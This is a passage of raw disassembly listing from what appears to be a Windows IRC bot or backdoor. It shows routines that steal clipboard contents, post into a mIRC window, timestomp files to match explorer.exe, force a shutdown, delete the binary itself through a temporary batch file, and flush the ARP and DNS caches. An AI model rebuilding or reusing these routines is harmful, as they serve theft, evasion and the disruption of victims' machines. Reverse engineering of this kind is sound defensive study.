loc_40A590:				; CODE XREF: sub_40A4AC+B6j
		cmp	ds:dword_43F748, esi
		jz	short loc_40A5C4
		push	ds:dword_43F74C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A5C4:				; CODE XREF: sub_40A4AC+EAj
		cmp	ds:dword_43F750, esi
		jz	short loc_40A5F8
		push	ds:dword_43F754
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A5F8:				; CODE XREF: sub_40A4AC+11Ej
		cmp	ds:dword_43F758, esi
		jz	short loc_40A62C
		push	ds:dword_43F75C
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A62C:				; CODE XREF: sub_40A4AC+152j
		cmp	ds:dword_43F760, esi
		jz	short loc_40A660
		push	ds:dword_43F764
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A660:				; CODE XREF: sub_40A4AC+186j
		cmp	ds:dword_43F768, esi
		jz	short loc_40A694
		push	ds:dword_43F76C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A694:				; CODE XREF: sub_40A4AC+1BAj
		cmp	ds:dword_43F770, esi
		jz	short loc_40A6C8
		push	ds:dword_43F774
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A6C8:				; CODE XREF: sub_40A4AC+1EEj
		cmp	ds:dword_43F778, esi
		jz	short loc_40A6FC
		push	ds:dword_43F77C
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A6FC:				; CODE XREF: sub_40A4AC+222j
		cmp	ds:dword_43F780, esi
		jz	short loc_40A730
		push	ds:dword_43F784
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A730:				; CODE XREF: sub_40A4AC+256j
		cmp	ds:dword_43F788, esi
		jz	short loc_40A764
		push	ds:dword_43F78C
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A764:				; CODE XREF: sub_40A4AC+28Aj
		cmp	ds:dword_43F790, esi
		jz	short loc_40A798
		push	ds:dword_43F794
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A798:				; CODE XREF: sub_40A4AC+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D764
		push	eax
		call	sub_4172AE
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A7C5
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_40A7C5:				; CODE XREF: sub_40A4AC+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A4AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7D7	proc near		; CODE XREF: sub_40EE72+C5Ep
					; sub_40EE72+C92p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_40A862
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_40A862
		cmp	[ebp+arg_8], esi
		jz	short loc_40A862
		cmp	byte ptr [eax],	0
		jz	short loc_40A862
		push	ebx
		push	edi
		call	sub_42274B
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40A85D
		push	[ebp+arg_4]
		push	edi
		call	sub_417880
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40A856
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_418C10
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_417AB0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_418DE0
		push	[ebp+arg_4]
		call	sub_417AB0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_4179D0
		push	ebx
		push	edi
		call	sub_4179C0
		add	esp, 30h
		mov	esi, edi

loc_40A856:				; CODE XREF: sub_40A7D7+3Cj
		push	ebx
		call	sub_417C3B
		pop	ecx

loc_40A85D:				; CODE XREF: sub_40A7D7+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_40A864
; ---------------------------------------------------------------------------

loc_40A862:				; CODE XREF: sub_40A7D7+Cj
					; sub_40A7D7+13j ...
		xor	eax, eax

loc_40A864:				; CODE XREF: sub_40A7D7+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40A7D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A868	proc near		; CODE XREF: sub_40ECFA+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_417330
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_417AB0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_40A89E

loc_40A899:				; DATA XREF: _2:00428424o _2:00428468o ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A911
; ---------------------------------------------------------------------------

loc_40A89E:				; CODE XREF: sub_40A868+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_40A8C0

loc_40A8AA:				; CODE XREF: sub_40A868+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_40A8B7
		cmp	dl, 0Dh
		jnz	short loc_40A8BB

loc_40A8B7:				; CODE XREF: sub_40A868+48j
		and	byte ptr [ecx+esi], 0

loc_40A8BB:				; CODE XREF: sub_40A868+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_40A8AA

loc_40A8C0:				; CODE XREF: sub_40A868+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_40A8F1
		lea	edi, [ebp+var_7CC]

loc_40A8CD:				; CODE XREF: sub_40A868+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_40A8EC
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_40A8EC
		cmp	ebx, 1F4h
		jge	short loc_40A8F1
		mov	[edi], ecx
		inc	ebx
		add	edi, 4

loc_40A8EC:				; CODE XREF: sub_40A868+69j
					; sub_40A868+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_40A8CD

loc_40A8F1:				; CODE XREF: sub_40A868+5Dj
					; sub_40A868+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_40A90F
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_417390
		add	esp, 0Ch

loc_40A90F:				; CODE XREF: sub_40A868+8Ej
		mov	eax, ebx

loc_40A911:				; CODE XREF: sub_40A868+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_40A868	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A915	proc near		; CODE XREF: sub_40A96F+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_40A94E
		push	ebx
		mov	ebx, edi

loc_40A932:				; CODE XREF: sub_40A915+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_40A951
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_40A932
		pop	ebx

loc_40A94E:				; CODE XREF: sub_40A915+18j
		pop	edi
		pop	esi
		retn
sub_40A915	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A951	proc near		; CODE XREF: sub_40A915+25p
					; sub_40A96F+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_419101
		cmp	al, 61h
		pop	ecx
		jl	short loc_40A96C
		cmp	al, 7Ah
		jg	short loc_40A96C
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_40A96C:				; CODE XREF: sub_40A951+Ej
					; sub_40A951+12j
		xor	eax, eax
		retn
sub_40A951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A96F	proc near		; CODE XREF: sub_40C04D+10p
					; sub_40C07F+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_417AB0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_417AB0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_40A915
		add	esp, 14h
		dec	esi
		mov	edi, esi

loc_40A9AD:				; CODE XREF: sub_40A96F+B6j
		test	esi, esi
		jle	short loc_40AA2B
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419101
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_419101
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40AA23

loc_40A9D3:				; CODE XREF: sub_40A96F+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_40A951
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_40A9F4
		mov	eax, ecx

loc_40A9F4:				; CODE XREF: sub_40A96F+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_40AA27
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419101
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_419101
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_40A9D3

loc_40AA23:				; CODE XREF: sub_40A96F+62j
		dec	edi
		dec	esi
		jmp	short loc_40A9AD
; ---------------------------------------------------------------------------

loc_40AA27:				; CODE XREF: sub_40A96F+8Aj
		xor	eax, eax
		jmp	short loc_40AA30
; ---------------------------------------------------------------------------

loc_40AA2B:				; CODE XREF: sub_40A96F+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi

loc_40AA30:				; CODE XREF: sub_40A96F+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A96F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA35	proc near		; CODE XREF: sub_40EE72+3C8Cp
					; sub_40EE72+4AF5p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	ds:dword_424104	; FormatMessageA
		lea	eax, [ebp+var_100]

loc_40AA6E:				; CODE XREF: sub_40AA35+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_40AA7A
		cmp	cl, 9
		jnz	short loc_40AA7D

loc_40AA7A:				; CODE XREF: sub_40AA35+3Ej
		inc	eax
		jmp	short loc_40AA6E
; ---------------------------------------------------------------------------

loc_40AA7D:				; CODE XREF: sub_40AA35+43j
					; sub_40AA35+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_40AA97
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_40AA7D
		cmp	cl, 21h
		jl	short loc_40AA7D

loc_40AA97:				; CODE XREF: sub_40AA35+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_43F798
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41782A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA35	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AABF	proc near		; CODE XREF: sub_40EE72+5730p
		push	esi
		push	0
		call	ds:dword_43F638	; OpenClipboard
		test	eax, eax
		jz	short loc_40AAF6
		push	1
		call	ds:dword_43F658	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_40AAF6
		push	edi
		push	esi
		call	ds:dword_42410C	; GlobalLock
		push	esi
		mov	edi, eax
		call	ds:dword_424108	; GlobalUnlock
		call	ds:dword_43F6BC	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40AAF6:				; CODE XREF: sub_40AABF+Bj
					; sub_40AABF+19j
		xor	eax, eax
		pop	esi
		retn
sub_40AABF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAFA	proc near		; CODE XREF: sub_40EE72+48BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	ds:dword_43F674	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_40AB76
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	ds:off_424114
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	ds:off_424000
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	ds:dword_43F6C4	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	ds:dword_43F6C4	; SendMessageA
		push	ebx
		call	ds:off_424110
		push	edi
		call	ds:off_424078
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_40AB78
; ---------------------------------------------------------------------------

loc_40AB76:				; CODE XREF: sub_40AAFA+16j
		xor	eax, eax

loc_40AB78:				; CODE XREF: sub_40AAFA+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40AAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB7C	proc near		; CODE XREF: sub_40E6A9+212p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	ds:off_43F724
		test	eax, eax
		jz	short loc_40AC1B
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, ds:off_424084
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi ; sub_49C2B0
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40AC1B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	ds:dword_42411C	; GetFileTime
		push	ebx
		mov	ebx, ds:off_424078
		call	ebx ; sub_49C3D5
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi ; sub_49C2B0
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40AC1B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_424118	; SetFileTime
		push	esi
		call	ebx ; sub_49C3D5

loc_40AC1B:				; CODE XREF: sub_40AB7C+2Aj
					; sub_40AB7C+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AB7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC20	proc near		; CODE XREF: sub_40EE72+13C4p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_41511D
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	ds:dword_43F5B0	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_40AC20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC42	proc near		; CODE XREF: sub_40CAF1+472p
					; sub_40EE72+59D2p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	ds:dword_42F5C0, esi
		push	edi
		jz	short loc_40AC66
		cmp	ds:dword_43F738, esi
		jnz	short loc_40AC66
		push	esi
		call	sub_40C1AE
		pop	ecx

loc_40AC66:				; CODE XREF: sub_40AC42+13j
					; sub_40AC42+1Bj
		call	sub_416F23
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	ds:dword_42412C	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:off_424084
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_40ADC6
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	ds:dword_42407C	; WriteFile
		push	edi
		call	ds:off_424078
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43C80C
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	ds:off_424100
		push	eax
		call	ds:off_424094
		lea	eax, [ebp+var_15C]
		push	eax
		call	ds:off_4240A8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40AD6E
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	ds:dword_424128	; SetFileAttributesA

loc_40AD6E:				; CODE XREF: sub_40AC42+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_4172AE
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	ds:dword_424124	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	ds:dword_424120	; CreateProcessA

loc_40ADC6:				; CODE XREF: sub_40AC42+72j
		pop	edi
		pop	esi
		leave
		retn
sub_40AC42	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADCA	proc near		; CODE XREF: sub_4013EC+7p
					; sub_401992+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_43F6A8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40ADF2
		push	[esp+arg_0]
		call	ds:dword_43F6EC	; gethostbyname
		test	eax, eax
		jnz	short loc_40ADEB
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40ADEB:				; CODE XREF: sub_40ADCA+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40ADF2:				; CODE XREF: sub_40ADCA+Dj
		retn
sub_40ADCA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADF3	proc near		; CODE XREF: sub_40EB92+D6p
		mov	ecx, ds:dword_43F590
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AE01
		call	ecx	; DnsFlushResolverCache

locret_40AE01:				; CODE XREF: sub_40ADF3+Aj
		retn
sub_40ADF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE02	proc near		; CODE XREF: sub_40EE72:loc_414554p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	ds:dword_43F6E4	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40AEC8
		sub	ecx, 32h
		jz	loc_40AEC1
		sub	ecx, 48h
		jz	short loc_40AE62
		sub	ecx, 6Eh
		jz	short loc_40AE5B

loc_40AE44:				; CODE XREF: sub_40AE02+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42DA5C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	short loc_40AEA2
; ---------------------------------------------------------------------------

loc_40AE5B:				; CODE XREF: sub_40AE02+40j
		push	offset unk_42DA28
		jmp	short loc_40AE94
; ---------------------------------------------------------------------------

loc_40AE62:				; CODE XREF: sub_40AE02+3Bj
		push	[ebp+var_8]
		call	sub_417B89
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_417330
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40AE8F
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	ds:dword_43F6E4	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_40AEC8
		jmp	short loc_40AE44
; ---------------------------------------------------------------------------

loc_40AE8F:				; CODE XREF: sub_40AE02+79j
		push	offset unk_42D9E8

loc_40AE94:				; CODE XREF: sub_40AE02+5Ej
					; sub_40AE02+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_40AEA2:				; CODE XREF: sub_40AE02+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_40AEB2:				; CODE XREF: sub_40AE02+C8j
					; sub_40AE02+DCj
		push	esi
		call	sub_417C3B
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40AEC1:				; CODE XREF: sub_40AE02+32j
		push	offset unk_42D9A8
		jmp	short loc_40AE94
; ---------------------------------------------------------------------------

loc_40AEC8:				; CODE XREF: sub_40AE02+29j
					; sub_40AE02+89j
		cmp	[esi], edi
		jbe	short loc_40AEB2
		lea	ebx, [esi+4]

loc_40AECF:				; CODE XREF: sub_40AE02+DAj
		push	ebx
		call	ds:dword_43F6E0	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40AECF
		jmp	short loc_40AEB2
sub_40AE02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEE0	proc near		; CODE XREF: sub_40144A+243p
					; sub_401D82+268p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43F60C	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_43F99C
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4172AE
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AEE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF39	proc near		; CODE XREF: sub_4010B5+24Cp
					; sub_4010B5+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AF62
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]

loc_40AF55:				; CODE XREF: sub_40AF39+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AF55
		pop	edi
		jmp	short loc_40AF66
; ---------------------------------------------------------------------------

loc_40AF62:				; CODE XREF: sub_40AF39+Aj
		mov	edx, [esp+4+arg_0]

loc_40AF66:				; CODE XREF: sub_40AF39+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AF70
		movzx	ecx, byte ptr [edx]
		add	eax, ecx

loc_40AF70:				; CODE XREF: sub_40AF39+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AF39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF86	proc near		; DATA XREF: sub_40EE72+2E51o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
